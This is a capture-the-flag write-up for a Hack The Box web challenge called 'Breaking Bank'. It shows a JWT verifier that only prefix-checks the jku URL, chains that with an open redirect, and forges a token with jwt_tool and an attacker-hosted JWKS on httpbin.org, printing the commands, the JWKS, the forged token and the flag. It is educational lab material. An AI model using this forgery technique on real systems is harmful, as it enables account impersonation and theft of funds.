Breaking Bank
Original Writeup on seall.dev
Downloading the source, there is just the one app.
We can register our user and login with any email that isn’t taken:
Logging in we have, this view:
In Friends we can add people via their emails, which allows us to do Transactions with them. Portfolio just shows our account value.
I spot this code snippet which showcases the requirement for the flag:
/**
* Checks if the financial controller's CLCR wallet is drained
* If drained, returns the flag.
*/
export const checkFinancialControllerDrained = async () => {
const balances = await getBalancesForUser(FINANCIAL_CONTROLLER_EMAIL);
const clcrBalance = balances.find((coin) => coin.symbol === 'CLCR');
if (!clcrBalance || clcrBalance.availableBalance <= 0) {
const flag = (await fs.readFile('/flag.txt', 'utf-8')).trim();
return { drained: true, flag };
}
return { drained: false };
};
If the CLCR coin is drained from the [email protected] account, the flag will be displayed on the [email protected] accounts dashboard.
Looking into the authentication, I spot the JWT token in the Authorization header.
I use jwt.io to investigate it.
We can see the jku is a URL, there are exploits involving the jku but let’s check how the verification of the token works.
export const verifyToken = async (token) => {
try {
const decodedHeader = jwt.decode(token, { complete: true });
if (!decodedHeader || !decodedHeader.header) {
throw new Error('Invalid token: Missing header');
}
const { kid, jku } = decodedHeader.header;
if (!jku) {
throw new Error('Invalid token: Missing header jku');
}
// TODO: is this secure enough?
if (!jku.startsWith('http://127.0.0.1:1337/')) {
throw new Error('Invalid token: jku claim does not start with http://127.0.0.1:1337/');
}
if (!kid) {
throw new Error('Invalid token: Missing header kid');
}
if (kid !== KEY_ID) {
return new Error('Invalid token: kid does not match the expected key ID');
}
let jwks;
try {
const response = await axios.get(jku);
if (response.status !== 200) {
throw new Error(`Failed to fetch JWKS: HTTP ${response.status}`);
}
jwks = response.data;
} catch (error) {
throw new Error(`Error fetching JWKS from jku: ${error.message}`);
}
if (!jwks || !Array.isArray(jwks.keys)) {
throw new Error('Invalid JWKS: Expected keys array');
}
const jwk = jwks.keys.find((key) => key.kid === kid);
if (!jwk) {
throw new Error('Invalid token: kid not found in JWKS');
}
if (jwk.alg !== 'RS256') {
throw new Error('Invalid key algorithm: Expected RS256');
}
if (!jwk.n || !jwk.e) {
throw new Error('Invalid JWK: Missing modulus (n) or exponent (e)');
}
const publicKey = jwkToPem(jwk);
const decoded = jwt.verify(token, publicKey, { algorithms: ['RS256'] });
return decoded;
} catch (error) {
console.error(`Token verification failed: ${error.message}`);
throw error;
}
};
All it’s checking is if the jku starts with http://127.0.0.1:1337/, which is the server and port this app is hosted on locally. If we can find an open redirect we can redirect the page to our own jwks.json and change the authentication flow.
I search the source code for redirect and get a hit of interest:
...
fastify.get('/redirect', async (req, reply) => {
const { url, ref } = req.query;
if (!url || !ref) {
return reply.status(400).send({ error: 'Missing URL or ref parameter' });
}
// TODO: Should we restrict the URLs we redirect users to?
try {
await trackClick(ref, decodeURIComponent(url));
reply.header('Location', decodeURIComponent(url)).status(302).send();
} catch (error) {
console.error('[Analytics] Error during redirect:', error.message);
reply.status(500).send({ error: 'Failed to track analytics data.' });
}
});
We can redirect users with /api/analytics/redirect?ref=x&url=https://seall.dev!
We can now setup a payload with jwt_tool and some modificataion.
jwt_tool uses https://httpbin.org/base64/<b64> to send their jwks.json so I generate one by trying to use the -X s exploit and use it.
In my case this was my jwks.json:
{
"keys":[
{
"kty":"RSA",
"kid":"fb66c4ca-15fe-47b5-9ce5-e5b7725a0715",
"alg":"RS256",
"use":"sig",
"e":"AQAB",
"n":"i7bgGj8MHGsWuLRoI520QbZLG7YLpAk-WUOJ2KBnOMoLk7aTz-TzoMcm7wwU8S7hVfoZK_ql4YBPeXcKqbMMTxP4r20MdGOJXQ5w8Bqajk_X1xcmpzJZQ4zh6InXvkSPpfs2Dz3VnjS_3zQk8xVpqndVjrUUqnU98-2cpGq01l48bpZPuXQnPEKpzlTYZavDMweIXRrGACoxXzSZA3Re9QOrqz22xW0Y0sn-EWA-I6BfwgxtwVy1I4RdKKQn2qKz7ZwnDqDz8AuLUo502MQMDTK1mGBq6TiuJaZsfbI90JCdsEu6RLAjBpc_V4zilp8XaM_vfc5iOaTJGhdfYwKXFw"
}
]
}
I had to add the alg and update the kid to reflect the source code.
I could then use the tool like so:
$ python3 jwt_tool.py "ey...w" -X s -T -ju 'http://127.0.0.1:1337/api/analytics/redirect?ref=seall.dev&url=https://httpbin.org/base64/e...='
\ \ \ \ \ \
\__ | | \ |\__ __| \__ __| |
| | \ | | | \ \ |
| \ | | | __ \ __ \ |
\ | _ | | | | | | | |
| | / \ | | | | | | | |
\ | / \ | | |\ |\ | |
\______/ \__/ \__| \__| \__| \______/ \______/ \__|
Version 2.2.7 \______| @ticarpi
Original JWT:
====================================================================
This option allows you to tamper with the header, contents and
signature of the JWT.
====================================================================
Token header values:
[1] alg = "RS256"
[2] typ = "JWT"
[3] kid = "fb66c4ca-15fe-47b5-9ce5-e5b7725a0715"
[4] jku = "http://127.0.0.1:1337/.well-known/jwks.json"
[5] *ADD A VALUE*
[6] *DELETE A VALUE*
[0] Continue to next step
Please select a field number:
(or 0 to Continue)
> 0
Token payload values:
[1] email = "[email protected]"
[2] iat = 1734144114 ==> TIMESTAMP = 2024-12-14 13:41:54 (UTC)
[3] *ADD A VALUE*
[4] *DELETE A VALUE*
[5] *UPDATE TIMESTAMPS*
[0] Continue to next step
Please select a field number:
(or 0 to Continue)
> 1
Current value of email is: [email protected]
Please enter new value and hit ENTER
> [email protected]
[1] email = "[email protected]"
[2] iat = 1734144114 ==> TIMESTAMP = 2024-12-14 13:41:54 (UTC)
[3] *ADD A VALUE*
[4] *DELETE A VALUE*
[5] *UPDATE TIMESTAMPS*
[0] Continue to next step
Please select a field number:
(or 0 to Continue)
> 5
Timestamp updating:
[1] Update earliest timestamp to current time (keeping offsets)
[2] Add 1 hour to timestamps
[3] Add 1 day to timestamps
[4] Remove 1 hour from timestamps
[5] Remove 1 day from timestamps
Please select an option from above (1-5):
> 1
[1] email = "[email protected]"
[2] iat = 1734186607 ==> TIMESTAMP = 2024-12-15 01:30:07 (UTC)
[3] *ADD A VALUE*
[4] *DELETE A VALUE*
[5] *UPDATE TIMESTAMPS*
[0] Continue to next step
Please select a field number:
(or 0 to Continue)
> 0
Paste this JWKS into a file at the following location before submitting token request: http://127.0.0.1:1337/api/...=
(JWKS file used: /home/n/.jwt_tool/jwttool_custom_jwks.json)
/home/n/.jwt_tool/jwttool_custom_jwks.json
jwttool_3ddbc87de3c3a0c28d4cd4b6ad863333 - Signed with JWKS at http://127.0.0.1:1337/api/...=
[+] eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6ImZiNjZjNGNhLTE1ZmUtNDdiNS05Y2U1LWU1Yjc3MjVhMDcxNSIsImprdSI6Imh0dHA6Ly8xMjcuMC4wLjE6MTMzNy9hcGkvYW5hbHl0aWNzL3JlZGlyZWN0P3JlZj1zZWFsbC5kZXYmdXJsPWh0dHBzOi8vaHR0cGJpbi5vcmcvYmFzZTY0L2V3b2dJQ0FnSW10bGVYTWlPbHNLSUNBZ0lDQWdJQ0I3Q2lBZ0lDQWdJQ0FnSUNBZ0lDSnJkSGtpT2lKU1UwRWlMQW9nSUNBZ0lDQWdJQ0FnSUNBaWEybGtJam9pWm1JMk5tTTBZMkV0TVRWbVpTMDBOMkkxTFRsalpUVXRaVFZpTnpjeU5XRXdOekUxSWl3S0lDQWdJQ0FnSUNBZ0lDQWdJbUZzWnlJNklsSlRNalUySWl3S0lDQWdJQ0FnSUNBZ0lDQWdJblZ6WlNJNkluTnBaeUlzQ2lBZ0lDQWdJQ0FnSUNBZ0lDSmxJam9pUVZGQlFpSXNDaUFnSUNBZ0lDQWdJQ0FnSUNKdUlqb2lhVGRpWjBkcU9FMUlSM05YZFV4U2IwazFNakJSWWxwTVJ6ZFpUSEJCYXkxWFZVOUtNa3RDYms5TmIweHJOMkZVZWkxVWVtOU5ZMjAzZDNkVk9GTTNhRlptYjFwTFgzRnNORmxDVUdWWVkwdHhZazFOVkhoUU5ISXlNRTFrUjA5S1dGRTFkemhDY1dGcWExOVlNWGhqYlhCNlNscFJOSHBvTmtsdVdIWnJVMUJ3Wm5NeVJIb3pWbTVxVTE4emVsRnJPSGhXY0hGdVpGWnFjbFZWY1c1Vk9UZ3RNbU53UjNFd01XdzBPR0p3V2xCMVdGRnVVRVZMY0hwc1ZGbGFZWFpFVFhkbFNWaFNja2RCUTI5NFdIcFRXa0V6VW1VNVVVOXljWG95TW5oWE1Ga3djMjR0UlZkQkxVazJRbVozWjNoMGQxWjVNVWswVW1STFMxRnVNbkZMZWpkYWQyNUVjVVI2T0VGMVRGVnZOVEF5VFZGTlJGUkxNVzFIUW5FMlZHbDFTbUZhYzJaaVNUa3dTa05rYzBWMU5sSk1RV3BDY0dOZlZqUjZhV3h3T0ZoaFRWOTJabU0xYVU5aFZFcEhhR1JtV1hkTFdFWjNJZ29nSUNBZ0lDQWdJSDBLSUNBZ0lGMEtmUW89In0.eyJlbWFpbCI6ImZpbmFuY2lhbC1jb250cm9sbGVyQGZyb250aWVyLWJvYXJkLmh0YiIsImlhdCI6MTczNDE4NjYwN30.PnwKkeuzCQnf4z9CfLnYTqyd4fo0p37JpSq8SvfnwAufxgn4PLCrFFWOcfaSYhz7icS5095ef-tPdgOAGh1gDgqzftEmF9vi7orQtgBC6HMKth1vc2Qk8lbQRuqwvsbi_iK3t_06MF8lstIy6DP9rpPdNHaE2UcLn-f-lQg3wzeH7PW2oI9KfXpB0nQXtslQ726mx864aYY9sn4FCwldwoNazterl4ngiXGsTqQImYDVxfJ8mQo95h9rSxga09TbGEX4y--B6baCRQCxTS65ENkuS_b-fAVg0JoV5-iC4tNPX11FIGSiaLqOmdVy5UU-VeLcikdFGxUc7E8EPvTawA
We can now use that JWT to become the [email protected] account. Now we can become friends with them and transfer myself all the funds!
I send them a friend request from my account, then use the token to become the financial-controller and transfer all the CLCR coin.
The dashboard then displays the flag!
Flag: HTB{rugg3d_pu11ed_c0nqu3r3d_d14m0nd_h4nd5_38535963e2e43d2e93df6e990bf4e226}
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